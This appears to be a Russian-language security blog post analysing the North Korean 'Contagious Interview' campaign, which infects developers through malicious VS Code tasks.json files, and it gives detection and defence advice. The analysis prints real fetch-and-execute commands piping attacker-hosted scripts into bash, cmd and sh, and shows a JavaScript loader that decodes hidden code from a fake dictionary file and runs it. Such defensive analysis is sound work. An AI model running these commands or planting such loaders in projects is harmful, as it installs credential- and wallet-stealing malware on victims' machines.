Атака Contagious Interview: как северокорейские хакеры заражают разработчиков через VS Code

Атака Contagious Interview: как северокорейские хакеры заражают разработчиков через VS Code

Представьте: вам пишут в LinkedIn с предложением о работе или просьбой посмотреть код. Вы клонируете репозиторий, открываете его в VS Code, нажимаете «Доверяю» — и через секунду на вашем компьютере уже работает шпионская программа. Она крадёт пароли из браузера, данные криптокошельков и открывает хакерам полный доступ к системе. Вы ничего не заметите: окно терминала скрыто, вредоносный код замаскирован под файлы шрифтов.

Это не гипотетический сценарий, а реальная атака, которая уже затронула тысячи разработчиков по всему миру. Разбираем по шагам, как она работает и как от неё защититься.

Кто стоит за атакой

За кампанией стоит северокорейская хакерская группа, известная под названиями Contagious Interview, Lazarus Group, DEV#POPPER и другими. По данным правительства США, группа действует как минимум с 2007 года. В феврале 2025 года эта же группа похитила 1,46 миллиарда долларов в криптовалюте с биржи ByBit — крупнейшая финансовая кража в истории.

Цель атаки — кража учётных данных, криптовалютных кошельков, установка бэкдоров для долгосрочной слежки и майнинг криптовалюты на заражённых машинах.

Пошаговый разбор атаки

Шаг 1. Социальная инженерия — «выгодное предложение»

Всё начинается с сообщения в LinkedIn или другой профессиональной сети. Жертве пишет человек, представляющийся техническим директором, рекрутером или партнёром интересного проекта.

Типичные сценарии:

  • «Мы ищем разработчика, вот тестовое задание»
  • «Посмотрите наш код, нужна ваша экспертиза»
  • «Давайте сделаем совместный проект»

Пример реального случая: жертве написал «John Meltzer», представившийся CTO проекта «Meta2140». Он отправил ссылку на страницу в Notion с описанием технического задания и URL репозитория на Bitbucket.

Шаг 2. Жертва клонирует репозиторий

Разработчик получает ссылку на репозиторий (GitHub, Bitbucket, GitLab) с «тестовым заданием» или «проектом для ревью». Репозиторий выглядит абсолютно нормально — обычный код на JavaScript/TypeScript/Python.

Внутри репозитория спрятана папка .vscode/ с конфигурационными файлами. Эта папка часто игнорируется при беглом просмотре, потому что выглядит как стандартные настройки редактора.

Шаг 3. Открытие проекта в VS Code — ловушка срабатывает

Когда разработчик открывает папку проекта в Visual Studio Code, редактор показывает диалоговое окно: «Доверяете ли вы авторам этой папки?» (Workspace Trust).

Большинство разработчиков машинально нажимают «Да, доверяю» — ведь они сами только что скачали этот код для работы.

Это критический момент. После нажатия «Доверяю» VS Code получает право выполнять любые команды из конфигурационных файлов.

Шаг 4. Автоматический запуск вредоносного кода

В папке .vscode/ находится файл tasks.json — стандартный файл для автоматизации задач в VS Code. Злоумышленники добавляют в него параметр:

"runOn": "folderOpen"

Это означает: «выполнить задачу сразу при открытии папки». Пользователь ничего не нажимает — код запускается автоматически.

Типичные вредоносные команды:

Для macOS:

curl 'https://www.regioncheck.xyz/settings/mac?flag=8' | bash

Для Windows:

curl --ssl-no-revoke -L https://vscodesettingstask.vercel.app/api/settings/windows | cmd

Для Linux:

wget -qO- 'https://vscode-toolkit-bootstrap.vercel.app/settings/linux?flag=306' | sh

Команда скачивает скрипт с удалённого сервера и сразу выполняет его.

Шаг 5. Маскировка — жертва ничего не замечает

Злоумышленники используют несколько приёмов, чтобы скрыть происходящее:

Скрытие окна терминала: В tasks.json добавляется параметр presentation, который прячет окно выполнения команды. Жертва не видит, что что-то запустилось.

Горизонтальное смещение: Вредоносные команды смещены далеко вправо — за пределы видимой области редактора. При беглом просмотре файла они не видны.

Маскировка под обычные файлы: Вредоносный JavaScript-код прячут внутри файлов с безобидными расширениями: .woff2 (шрифты), .svg (картинки), .jpeg, .png, .dict (словари). Антивирусы и люди не ожидают найти исполняемый код в таких файлах.

Пример скрытого запуска:

const fs = require('node:fs');
const hex = fs.readFileSync('.vscode/spellright.dict', 'utf8')
  .replace(/[^0-9a-f]/gi, '');
const src = Buffer.from(hex, 'hex').toString('utf8');
new Function('require', src)(require);

Этот код читает «словарь для проверки орфографии», декодирует из него JavaScript и выполняет.

Шаг 6. Установка вредоносных программ

После выполнения начального скрипта на компьютер жертвы устанавливаются две основные вредоносные программы:

BeaverTail (Node.js):

  • Запускается сразу после заражения
  • Крадёт сохранённые пароли из браузеров (Chrome, Brave, Firefox)
  • Записывает нажатия клавиш (кейлоггер)
  • Извлекает данные криптокошельков (Solana, Exodus)
  • На macOS крадёт данные из связки ключей (Keychain)
  • Устанавливает скрытый бэкдор в папке .npm

InvisibleFerret (Python):

  • Загружается примерно через 8 минут после первичного заражения
  • Обеспечивает долгосрочную слежку
  • Позволяет удалённо выполнять команды
  • Может загружать дополнительные модули
  • Используется для майнинга криптовалюты

Шаг 7. Связь с командным сервером

Заражённый компьютер начинает «стучаться» на сервер злоумышленников каждые 5 секунд, отправляя:

  • Имя компьютера
  • MAC-адреса сетевых карт
  • Версию операционной системы
  • Внешний IP-адрес (запрашивается через ipify.org)

В ответ сервер может отправлять команды для выполнения.

Шаг 8. Последующие обновления — без предупреждений

Важный момент: после того как жертва один раз нажала «Доверяю», VS Code запоминает это решение. Если злоумышленник обновит репозиторий (добавит новый вредоносный код), при следующем git pull код выполнится автоматически — без повторного запроса доверия.

Масштаб проблемы

  • В 2024 году обнаружено 27 вредоносных расширений VS Code
  • За первые 10 месяцев 2025 года — уже 105 (рост в 4 раза)
  • Выявлено 67 вредоносных npm-пакетов, связанных с этой кампанией
  • Более 200 вредоносных пакетов в npm и PyPI от группы Lazarus
  • Потенциально заражено до 36 000 разработчиков

Как распознать атаку

Подозрительные признаки в репозитории:

  1. Проверьте .vscode/tasks.json — ищите параметр "runOn": "folderOpen"
  2. Прокрутите файлы вправо — вредоносный код может быть смещён за пределы экрана
  3. Проверьте файлы с необычными расширениями.woff2, .dict, .svg не должны содержать JavaScript
  4. Изучите package.json — подозрительные скрипты в секции scripts, особенно preinstall и postinstall

Подозрительные домены (индикаторы компрометации):

  • regioncheck.xyz
  • vscode-load.onrender.com
  • vscodesettingstask.vercel.app
  • vscode-toolkit-bootstrap.vercel.app
  • Любые домены на vercel.app, загружающие JavaScript

Подозрительное поведение системы:

  • VS Code запускает curl или wget сразу после открытия проекта
  • Node.js выполняет файлы с расширениями .woff2, .svg, .dict
  • Неожиданные сетевые запросы к vercel.app или onrender.com
  • Появление скрытых процессов в папке .npm

Как защититься

Для разработчиков:

  1. Не доверяйте репозиториям автоматически. Перед нажатием «Trust» внимательно изучите содержимое папки .vscode/

  2. Отключите автоматический запуск задач. В настройках VS Code:

    "task.allowAutomaticTasks": "off"
    
  3. Не выполняйте npm install без проверки. Изучите package.json, особенно секции scripts, preinstall, postinstall

  4. Будьте скептичны к «тестовым заданиям». Если незнакомый человек из LinkedIn просит скачать и запустить код — это красный флаг

  5. Проверяйте отправителя. Погуглите имя, компанию, проект. Мошенники часто используют вымышленные или украденные личности

  6. Используйте виртуальные машины. Для проверки незнакомого кода используйте изолированную среду

Для организаций:

  1. Внедрите политику Workspace Trust. Запретите автоматическое доверие внешним репозиториям

  2. Мониторьте сетевую активность. Отслеживайте подключения к подозрительным доменам

  3. Обучите разработчиков. Расскажите о социальной инженерии и методах атак

  4. Проверяйте зависимости. Используйте инструменты анализа npm/pip пакетов перед установкой

Что делать, если вы уже открыли подозрительный проект

  1. Отключите компьютер от сети — это остановит связь с командным сервером

  2. Проверьте запущенные процессы — ищите подозрительные Node.js или Python процессы

  3. Проверьте папку .npm — там может находиться бэкдор

  4. Смените все пароли — особенно те, что были сохранены в браузере

  5. Проверьте криптокошельки — если есть доступ, переведите средства на новый кошелёк

  6. Просканируйте систему антивирусом — хотя вредонос может не определяться стандартными средствами

  7. Рассмотрите переустановку системы — это единственный способ гарантированно удалить все компоненты

Источники

Предыдущий пост Следующий пост
Наверх